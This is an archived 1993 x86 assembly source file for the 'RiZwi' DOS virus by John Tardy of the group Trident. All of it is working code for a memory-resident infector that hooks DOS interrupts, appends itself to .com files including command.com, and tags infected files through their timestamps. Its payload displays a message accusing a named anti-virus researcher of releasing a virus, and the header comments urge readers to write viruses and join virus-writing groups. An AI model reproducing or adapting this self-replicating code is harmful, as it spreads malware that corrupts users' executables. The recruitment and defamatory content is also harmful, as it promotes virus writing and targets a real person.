home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / R.ZIP / RIZWI.ZIP / RIZWI.A86 next >
Text File  |  1993-12-24  |  8KB  |  257 lines

  1. ;
  2. ; RiZwi Virus by John Tardy / Trident    V1.1
  3. ;
  4. ; This is a tom-resident .com infector, including command.com. it attaches
  5. ; itself at the eof. when the generation counter is between 200 and 240, a
  6. ; timer counter will be started. when it reached 5000 hex ticks, it will
  7. ; display a message with black chars and a red background in the upper corner.
  8. ; The message says an important fact of Righard Zwienenberg, who is known in
  9. ; The Netherlands as a anti-virus researcher. In fact, he did release a virus,
  10. ; named "DUTCH-555". I know he did it accidentally, but you should do it. You
  11. ; have to be on just one side, virus or antivirus. If you can't choose, then
  12. ; stop with computing. If you choose, I hope you choose our side. It has more
  13. ; possibilities and with your capabilities your virii could be well-known
  14. ; (look at the VSUM for your ratings). Maybe you even choose to be part of
  15. ; [NUkE] or Phalcon/Skism or even Trident.
  16. ;
  17. ; This is a bug-fix of V1.0, which kept the original interupt in the main
  18. ; program, thus simply hanging. This one has also a little debugger trap.
  19.  
  20.                 Org 100h
  21.  
  22. Prg:            Call On1
  23. On1:            Pop Bp
  24.                 Sub Bp,On1
  25.                 Mov Ah,30h
  26.                 Int 21h
  27.                 Cmp Bx,'BC'
  28.                 Je  Tooz
  29.  
  30.                 Mov Ah,2ah
  31.                 Int 21h
  32.                 In Al,21h
  33.                 Cmp Cx,1993
  34.                 Ja MakeRes
  35.                 Cmp Dh,4
  36.                 Ja MakeRes
  37. Tooz:           Jmp DoCom
  38.  
  39. MakeRes:        Or Al,02h
  40.                 Push Ax
  41.                 Mov Ax,351ch
  42.                 Int 21h
  43.                 Mov Word Ptr Cs:Old1c[0][Bp],Bx
  44.                 Mov Word Ptr Cs:Old1c[2][Bp],es
  45.                 Pop Ax
  46.                 Out 21h,Al
  47. CutIt:          Mov Ax,3521h
  48.                 Int 21h
  49.                 Mov Word Ptr Cs:Old21[0][Bp],Bx
  50.                 Mov Word Ptr Cs:Old21[2][Bp],Es
  51.                 In Al,21h
  52.                 And Al,2
  53.                 Push Ax
  54.                 Mov Ax,Cs
  55.                 Dec Ax
  56.                 Mov Ds,Ax
  57.                 Cmp Byte Ptr Ds:[0],'Z'
  58.                 Jne DoCom
  59.                 Sub Word Ptr Ds:[3],PrgPar
  60.                 Sub Word Ptr Ds:[12h],PrgPar
  61.                 Lea Si,Prg[Bp]
  62.                 Mov Di,100h
  63.                 Pop Ax
  64.                 Cmp Al,2
  65.                 Jne CutIt
  66.                 Mov Ax,Word Ptr Ds:[12h]
  67.                 Sub Ax,10h
  68.                 Mov Es,Ax
  69.                 Mov Cx,PrgLen
  70.                 Push Cs
  71.                 Pop Ds
  72.                 Rep Movsb
  73.                 In Al,21h
  74.                 Xor Al,2
  75.                 Mov Ds,Es
  76.                 Out 21h,Al
  77.                 Mov Ax,251ch
  78.                 Lea Dx,New1c
  79.                 Int 21h
  80.                 Mov Ax,2521h
  81.                 Lea Dx,New21
  82.                 Int 21h
  83. DoCom:          Push Cs
  84.                 Pop Ds
  85.                 Mov Es,Ds
  86.                 Mov Di,100h
  87.                 Push Di
  88.                 Lea Si,OrgPrg[Bp]
  89.                 Movsw
  90.                 Movsb
  91.                 Ret
  92.  
  93. OrgPrg          DB 0CDh,020h
  94.                 DB '¥'
  95.  
  96.                 Db '[TridenT]'
  97.  
  98. Dos:            Pushf
  99.                 Call Dword Ptr Cs:[Old21]
  100.                 Ret
  101.  
  102.                 Db '{V1.1 Bugfix}'
  103.  
  104. Old21           DD 0
  105. New21:          Cmp Ax,4b00h
  106.                 Je Exec
  107.                 Cmp Ah,30h
  108.                 Jne EOI
  109.                 Call Dos
  110.                 Mov Bx,'BC'
  111.                 Iret
  112.  
  113. EOI:            Jmp Dword Ptr Cs:[Old21]
  114.  
  115. Exec:           Push Ax
  116.                 Push Bx
  117.                 Push Cx
  118.                 Push Dx
  119.                 Push Si
  120.                 Push Di
  121.                 Push Ds
  122.                 Push Es
  123.                 Push Bp
  124.                 Push Ds
  125.                 Push Dx
  126.                 Mov Ax,4300h
  127.                 Call Dos
  128.                 Mov FAttr,Cx
  129.                 Xor Cx,Cx
  130.                 Mov Ax,4301h
  131.                 Call Dos
  132.                 Mov Ax,3d02h
  133.                 Call Dos
  134.                 Mov FHandle,Ax
  135.                 Xchg Ax,Bx
  136.                 Mov Ax,5700h
  137.                 Call Dos
  138.                 Mov Word Ptr Cs:[FTime],Cx
  139.                 Mov Word Ptr Cs:[FDate],Dx
  140.                 And Cx,1fh
  141.                 Cmp Cx,1fh
  142.                 Jne  DoMore
  143. Close:          Mov Ah,3eh
  144.                 Call Dos
  145.                 Pop Dx
  146.                 Pop Ds
  147.                 Mov Cx,FAttr
  148.                 Mov Ax,4301h
  149.                 Call Dos
  150.                 Jmp ShutDown
  151. DoMore:         Mov Ah,3fh
  152.                 Push Cs
  153.                 Pop Ds
  154.                 Lea Dx,OrgPrg
  155.                 Mov Cx,3
  156.                 Call Dos
  157.                 Cmp Word Ptr Cs:[OrgPrg],'MZ'
  158.                 Je Close
  159.                 Cmp Word Ptr Cs:[OrgPrg],'ZM'
  160.                 Je Close
  161.                 Mov Ax,4202h
  162.                 Xor Cx,Cx
  163.                 Xor Dx,Dx
  164.                 Call Dos
  165.                 Sub Ax,3
  166.                 Mov Jump,Ax
  167.                 Mov Ah,40h
  168.                 Lea Dx,Prg
  169.                 Mov Cx,PrgLen
  170.                 Call Dos
  171.                 Mov Ax,4200h
  172.                 Xor Cx,Cx
  173.                 Xor Dx,Dx
  174.                 Call Dos
  175.                 Mov Ah,40h
  176.                 Lea Dx,Start
  177.                 Mov Cx,3
  178.                 Call Dos
  179.                 Mov Ax,5701h
  180.                 Mov Cx,FTime
  181.                 Mov Dx,FDate
  182.                 Or Cx,1fh
  183.                 Call Dos
  184.                 Inc Byte Ptr Cs:[FileCount]
  185.                 Jmp Close
  186.  
  187. ShutDown:       Pop Bp
  188.                 Pop Es
  189.                 Pop Ds
  190.                 Pop Di
  191.                 Pop Si
  192.                 Pop Dx
  193.                 Pop Cx
  194.                 Pop Bx
  195.                 Pop Ax
  196.                 Jmp EOI
  197.  
  198. Old1c           DD 0
  199.  
  200. New1c:          pushf
  201.                 push ax
  202.                 push cx
  203.                 push si
  204.                 push di
  205.                 push ds
  206.                 push es
  207.                 Cmp Byte Ptr Cs:[FileCount],200
  208.                 Jb EOI16
  209.                 Cmp Byte Ptr Cs:[FileCount],240
  210.                 Ja EOI16
  211.  
  212.                 Cmp Word Ptr Cs:[ActCount],5000h
  213.                 Je Activate
  214.                 Inc Word Ptr Cs:[ActCount]
  215.                 Jmp EOI16
  216.  
  217. Activate:       
  218.                 Mov Ds,Cs
  219.                 Mov Ax,0b800h
  220.  
  221.                 Mov Es,Ax
  222.                 Lea Si,ScrMsg
  223.                 Mov Di,160
  224.                 Sub Di,ScrLen
  225.  
  226.                 Mov Cx,ScrLen
  227.                 Rep MovSb
  228.  
  229. EOI16:          pop es
  230.                 pop ds
  231.                 pop di
  232.                 pop si
  233.                 pop cx
  234.                 pop ax
  235.                 popf
  236.                 iret
  237.  
  238. ScrMsg          Db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnObOeOrOgO OmOaOdOeO OtOhOeO ODOUOTOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O O'
  239. ScrLen          Equ $-ScrMsg
  240.  
  241. FileCount       Db 0
  242. ActCount        Dw 0
  243. Start           Db 0e9h
  244. Jump            Dw 0
  245. FAttr           Dw 0
  246. FHandle         Dw 0
  247. FDate           Dw 0
  248. FTime           Dw 0
  249.  
  250. PrgLen          Equ $-Prg
  251. PrgPar          Equ (PrgLen+0fh)/16
  252.  
  253. ;  ─────────────────────────────────────────────────────────────────────────
  254. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  255. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  256. ;  ─────────────────────────────────────────────────────────────────────────
  257.